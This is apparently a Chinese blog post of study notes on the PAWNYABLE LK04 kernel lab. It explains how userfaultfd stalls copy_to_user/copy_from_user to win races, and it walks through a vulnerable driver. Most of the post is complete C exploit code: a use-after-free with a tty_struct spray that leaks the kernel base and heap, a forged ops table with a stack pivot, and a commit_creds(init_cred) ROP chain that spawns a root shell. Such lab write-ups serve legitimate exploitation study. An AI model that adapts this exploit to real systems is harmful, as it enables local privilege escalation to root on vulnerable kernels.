PAWNYABLE kernel userfaultfd 笔记

感觉这个是比较古老(2020 左右的)用法了,看看即可?

概念

userfaultfd 可以类比成一个缺页异常的 handler,如果 handler 可以处理很久,那可能更好达到竞争的效果

工作流程

参考 Kernel Pwn Syscall userfaultfd and Syscall setxattr - Wings 的博客

户通过userfaultfd系统调用接收文件描述符,并使用ioctl将处理程序和地址等设置应用于它。当设置了 userfaultfd 的页面(第一次访问)发生页面错误时,将调用设置的处理程序,用户可以指定返回哪种数据(映射)。

在 CTF 题中通常用来卡条件竞争. 当内核模块中有 copy from/to user 的时候, 内核模块会访问用户的空间. 如果我们传入的是一个被 uffd 监视的地址, 那么这个线程将会被挂起直到处理结束. 这样就能够控制内核中线程的执行顺序, 从而更好的达到想要的竞争效果.

可能涉及了保护措施

大概是 linux-5.11 之后默认开启

对于没有 CAP_SYS_PTRACE 的用户以完全权限使用 userfaultfd ,必须将 unprivileged_userfaultfd 标志设置为 1。这个标志是 /proc/sys/vm/unprivileged_userfaultfd 可以通过 进行设置和查看,默认设置为0,但可以确认在LK04机器上设置为1。

使用实例 ,参考 userfaultfd 的使用 - CTF Wiki

先用 userfaultfd 系统调用获得一个 fd

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

ioctl 初始化和配置 API,还有一些信息:起始地址和长度和模式

  uffdio_api.api = UFFD_API;  
  uffdio_api.features = 0;  
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)  
    fatal("ioctl(UFFDIO_API)");

  uffdio_register.range.start = (unsigned long)addr;  
  uffdio_register.range.len = len;  
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;  
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)  
    fatal("UFFDIO_REGISTER");

启动一个进程来监听缺页异常:

  if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd))  
    fatal("pthread_create");

在 handler 函数中,poll 用于检测 fd 上的读写和出错事件,来检查是不是有事件(异常发生了)

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        /*
         * [在这停顿.jpg]
         * 当 poll 返回时说明出现了缺页异常
         * 你可以在这里插入一些比如说 sleep() 一类的操作,
         * 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死 :)
         */

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

在 handler 里面可以自定义需要拷贝进去什么数据,使用操作 UFFDIO_COPY,把指定数据拷贝到指定位置。除了 copy 也有其他选择:

  • UFFDIO_COPY:将用户自定义数据拷贝到 faulting page 上,注意是预写数据,提前拷贝之后要走正常的流程的
  • UFFDIO_ZEROPAGE :将 faulting page 置 0
  • UFFDIO_WAKE:用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和 UFFDIO_ZEROPAGE_MODE_DONTWAKE 模式实现批量填充
        uffdio_copy.src = (unsigned long) uffd_src_page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(uffd_src_page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

如果在 handler 函数里面,把本来应该读取的内容给 free 了,换成其他的结构体比如 tty structure,再读出来,这就完成了泄露。

神奇

userfaultfd 的内部机制可以看 Linux Kernel Userfaultfd 内部机制探究 - BrieflyX's Base

好奇为什么要用 fd 来实现这个功能,可能是方便 poll 和 ioctl 的控制操作?

驱动程序分析

代码实现了一个双链的结构。INIT_LIST_HEAD 用于初始化链表头,list_adlist_del 用于插入删除。

双链的成员是:

typedef struct {
  int id;
  size_t size;
  char *data;
  struct list_head list;
} blob_list;

在这种地方可能发生 race:

long blob_add(struct list_head *top, request_t *req) {
  blob_list *new;

  /* Check size */
  if (req->size > 0x1000)
    return -EINVAL;

  /* Allocate a new blob structure */
  new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL);
  if (unlikely(!new)) return -ENOMEM;

  /* Allocate data buffer */
  new->data = (char*)kmalloc(req->size, GFP_KERNEL);
  if (unlikely(!new->data)) {
    kfree(new);
    return -ENOMEM;
  }

那就模仿写一个 uffd handler 泄露基址一下

#include <inttypes.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <fcntl.h>             /* Definition of O_* constants */
#include <sys/syscall.h>       /* Definition of SYS_* constants */
#include <linux/userfaultfd.h> /* Definition of UFFD_* constants */
#include <unistd.h>
#include <poll.h>
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define BUF_SIZE 0x400
#define PAGE_SIZE 0x1000
#define TTY_SIZE 0x20


uint64_t kbase;
uint64_t heap;

typedef struct {
    int id;
    uint64_t size;
    char *data;
} request_t;

int fd;
int victim_id;
char buf[PAGE_SIZE];
int tty[TTY_SIZE];
int fault_cnt = 0;
void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(-1);
}

void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }

static void *
fault_handler_thread(void *arg)
{
    static struct uffd_msg msg;
    static int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        /*
         * [在这停顿.jpg]
         * 当 poll 返回时说明出现了缺页异常
         * 你可以在这里插入一些比如说 sleep() 一类的操作,
         * 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死 :)
         */

        if (nready == -1)
            err_exit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
            err_exit("EOF on userfaultfd!\n");

        if (nread == -1)
            err_exit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            err_exit("Unexpected event on userfaultfd\n");

        // 在这里可以做的操作是,释放这个 blob 用 tty structure 来替换
        // 至于需要 UFFDIO_COPY 什么内容其实就无所谓了

        if(fault_cnt++ == 0) {
            request_t del_req = {.id = victim_id};
            ioctl(fd, CMD_DEL, &del_req);

            for(int i = 0; i < TTY_SIZE; i++) {
                tty[i] = open("/dev/ptmx", O_RDWR);
            }
            printf("hackkkkkkkkkkk with tty structure\n");
        }
        else{
            printf("again");
        }

        uffdio_copy.src = (unsigned long) buf;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address;
        uffdio_copy.len = PAGE_SIZE;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            err_exit("ioctl-UFFDIO_COPY");
    }
}


void register_uffd(char *fault_addr, uint64_t len, pthread_t *monitor_thread, void *(*handler)(void*)) {
    uint64_t uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        err_exit("ioctl-UFFDIO_API");

    uffdio_register.range.start = (unsigned long) fault_addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        err_exit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
    if (s != 0)
        err_exit("pthread_create");
}

int main() {

    char *fault_addr = mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    pthread_t monitor_thread;
    register_uffd(fault_addr, PAGE_SIZE, &monitor_thread, fault_handler_thread);

    fd = open("/dev/fleckvieh", O_RDWR);

    request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf};
    victim_id = ioctl(fd, CMD_ADD, &add_req);
    
    request_t get_req = {.id = victim_id, .size = BUF_SIZE, .data = fault_addr};
    ioctl(fd, CMD_GET, &get_req);

    // for(int i = 0; i < PAGE_SIZE/2; i+= 8) {
    //     printf("%d\n", i);
    //     print_hex("fault_addr", *(uint64_t *)(fault_addr + i));
    // }
    
    kbase = *(uint64_t *)(fault_addr + 584) - 0x334da0;
    heap = *(uint64_t *)(fault_addr + 56);

    print_hex("kbase", kbase);
    print_hex("heap", heap);
}

在原博客里面提到了

从泄露的数据中您可能会注意到, tty_struct 开头的数据尚未被复制。 (本来有类似 tty_operation 之类的东西,但是前0x30字节全是0。)

这是由调用 copy_too_user 时数据大小过大造成的。copy_to_user 会从受害者的某个区域复制数据,但会尝试从开头复制。 这就是首次发生页面故障的地方,因此开头的字节序列是发生 UAF 之前的字节序列。

原来是 copy_to_user 已经读了一部分,所以开头是 0,剩下的内容还没有读过,等到变成 tty structure 之后继续读取...

泄露地址不只是找到 kbase 和 kheap,还需要拿到一下 dev (偏移 0x18)的地址,所以可能需要两次 uaf read。

复写 tty structure

使用 set 方法覆盖回一个 tty structure。但是由于写回去的 tty structure 的地址大概率不是之前的那个,所以需要大量 add,写上构造好的 ops 和 rop chain,这样说不定就可以覆盖到之前泄露地址的堆块

    uint64_t rop_chain[] = {0,
                            pop_rdi_ret + kbase,
                            init_cred + kbase,
                            commit_creds + kbase,
                            srrartu + kbase + 22,
                            0x1,
                            0x2,
                            (uint64_t)&binsh,
                            user_cs,
                            user_rflags,
                            user_sp,
                            user_ss};

    print_hex("what!!!!!!", *(uint64_t *)(fault_addr + 0x1000 + 0x10));
    memcpy(buf, fault_addr, 0x400);
    *(uint64_t *)(buf + 0) = 0x0000000100005401; // magic
    *(uint64_t *)(buf + 0x10) =
        *(uint64_t *)(fault_addr + 0x1000 + 0x10); // dev
    *(uint64_t *)(buf + 0x18) = heap;              // ops
    *(uint64_t *)(buf + 0x60) = push_rdx_pop_rsp_pop_ret + kbase;

....
            request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf};
            for (int i = 0; i < 0x100; i++) {
                ioctl(fd, CMD_ADD, &add_req);
            }

init_cred 怎么找

ida 看 vmlinux_symbol 就行

struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);

	validate_creds(old);

dword_FFFFFFFF81E37480 就是 init_cred

  if ( a1 )
  {
    task_cred = (signed __int32 *)get_task_cred(a1);
  }
  else
  {
    dword_FFFFFFFF81E374F0 = 0;
    _InterlockedIncrement(dword_FFFFFFFF81E37480);
    task_cred = dword_FFFFFFFF81E37480;
  }

exp

#include <fcntl.h> /* Definition of O_* constants */
#include <inttypes.h>
#include <linux/userfaultfd.h> /* Definition of UFFD_* constants */
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <unistd.h>

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define BUF_SIZE 0x400
#define PAGE_SIZE 0x1000
#define TTY_SIZE 0x10

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t commit_creds = 0x72830;
uint64_t prepare_kernel_cred = 0x729d0;
uint64_t srrartu = 0x800e10;
uint64_t modprobe_path = 0xe37ea0;
// 0xffffffff8109b0ed: pop rdi; ret;
uint64_t pop_rdi_ret = 0x9b0ed;
// 0xffffffff81f1a1e2: mov rdi, rax; rep movsd dword ptr [rdi], dword ptr [rsi];
// pop rbp; ret;
uint64_t mov_rdi_rax_ret = 0xf1a1e2;
// 0xffffffff81022fe3: pop rcx; ret;
uint64_t pop_rcx_ret = 0x22fe3;
// 0xffffffff8109b13a: push rdx; cmp eax, 0x415b005c; pop rsp; pop rbp; ret;
uint64_t push_rdx_pop_rsp_pop_ret = 0x9b13a;
uint64_t init_cred = 0xE37480;
uint64_t kbase;
uint64_t heap;

typedef struct {
    int id;
    uint64_t size;
    char *data;
} request_t;

int fd;
int victim_id;
char buf[PAGE_SIZE];
int tty[TTY_SIZE];
int fault_cnt = 0;

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void err_exit(char *msg) {
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(-1);
}

void print_hex(char *name, uint64_t addr) {
    printf("%s %" PRIx64 "\n", name, addr);
}

static void *fault_handler_thread(void *arg) {
    static struct uffd_msg msg;
    static int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long)arg;

    for (;;) {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        /*
         * [在这停顿.jpg]
         * 当 poll 返回时说明出现了缺页异常
         * 你可以在这里插入一些比如说 sleep() 一类的操作,
         * 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死
         * :)
         */

        printf("fault_cnt: %d\n", fault_cnt);

        if (nready == -1)
            err_exit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
            err_exit("EOF on userfaultfd!\n");

        if (nread == -1)
            err_exit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            err_exit("Unexpected event on userfaultfd\n");

        // 在这里可以做的操作是,释放这个 blob 用 tty structure 来替换
        // 至于需要 UFFDIO_COPY 什么内容其实就无所谓了

        else if (fault_cnt++ == 0) {
            request_t del_req = {.id = victim_id};
            ioctl(fd, CMD_DEL, &del_req);

            for (int i = 0; i < TTY_SIZE; i++) {
                tty[i] = open("/dev/ptmx", O_RDWR);
            }
            printf("UAF read! first time\n");
        } else if (fault_cnt++ == 2) {
            request_t del_req = {.id = victim_id};
            ioctl(fd, CMD_DEL, &del_req);

            for (int i = 0; i < TTY_SIZE; i++) {
                tty[i] = open("/dev/ptmx", O_RDWR);
            }
            printf("UAF read second time\n");
        } else if (fault_cnt++ == 5) {
            request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf};
            for (int i = 0; i < 0x100; i++) {
                ioctl(fd, CMD_ADD, &add_req);
            }

            request_t del_req = {.id = victim_id};
            ioctl(fd, CMD_DEL, &del_req);

            for (int i = 0; i < TTY_SIZE; i++) {
                tty[i] = open("/dev/ptmx", O_RDWR);
            }
            printf("UAF write\n");
        } else {
            printf("again\n");
        }

        uffdio_copy.src = (unsigned long)buf;
        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address;
        uffdio_copy.len = PAGE_SIZE;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            err_exit("ioctl-UFFDIO_COPY");
    }
}

void register_uffd(char *fault_addr, uint64_t len, pthread_t *monitor_thread,
                   void *(*handler)(void *)) {
    uint64_t uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        err_exit("ioctl-UFFDIO_API");

    uffdio_register.range.start = (unsigned long)fault_addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        err_exit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(monitor_thread, NULL, handler, (void *)uffd);
    if (s != 0)
        err_exit("pthread_create");
}

int main() {

    save_status();
    char *fault_addr = mmap(0, PAGE_SIZE * 5, PROT_READ | PROT_WRITE,
                            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    pthread_t monitor_thread;
    register_uffd(fault_addr, PAGE_SIZE * 5, &monitor_thread,
                  fault_handler_thread);

    fd = open("/dev/fleckvieh", O_RDWR);

    request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf};
    victim_id = ioctl(fd, CMD_ADD, &add_req);

    request_t get_req = {.id = victim_id, .size = BUF_SIZE, .data = fault_addr};
    ioctl(fd, CMD_GET, &get_req);

    kbase = *(uint64_t *)(fault_addr + 584) - 0x334da0;
    heap = *(uint64_t *)(fault_addr + 56) - 0x38;
    print_hex("kbase", kbase);
    print_hex("heap", heap);

    for (int i = 0; i < TTY_SIZE; i++) {
        close(tty[i]);
    }

    victim_id = ioctl(fd, CMD_ADD, &add_req);
    request_t get_req_2 = {
        .id = victim_id, .size = 0x20, .data = fault_addr + 0x1000};
    ioctl(fd, CMD_GET, &get_req_2);

    for (int i = 0; i < TTY_SIZE; i++) {
        close(tty[i]);
    }

    sleep(2);
    uint64_t rop_chain[] = {0,
                            pop_rdi_ret + kbase,
                            init_cred + kbase,
                            commit_creds + kbase,
                            srrartu + kbase + 22,
                            0x1,
                            0x2,
                            (uint64_t)&binsh,
                            user_cs,
                            user_rflags,
                            user_sp,
                            user_ss};

    memcpy(buf, fault_addr, 0x400);
    *(uint64_t *)(buf + 0) = 0x0000000100005401; // magic
    *(uint64_t *)(buf + 0x10) =
        *(uint64_t *)(fault_addr + 0x1000 + 0x10); // dev
    *(uint64_t *)(buf + 0x18) = heap;              // ops
    *(uint64_t *)(buf + 0x60) = push_rdx_pop_rsp_pop_ret + kbase;

    memcpy(buf + 0x100, rop_chain, sizeof(rop_chain));

    victim_id = ioctl(fd, CMD_ADD, &add_req);
    request_t set_req = {
        .id = victim_id, .size = BUF_SIZE, .data = fault_addr + 0x2000};
    ioctl(fd, CMD_SET, &set_req);

    for (int i = 0; i < TTY_SIZE; i++) {
        ioctl(tty[i], heap + 0x100, heap + 0x100);
    }
}
posted @ 2024-12-20 10:16  giacomo捏  阅读(1)  评论(0编辑  收藏  举报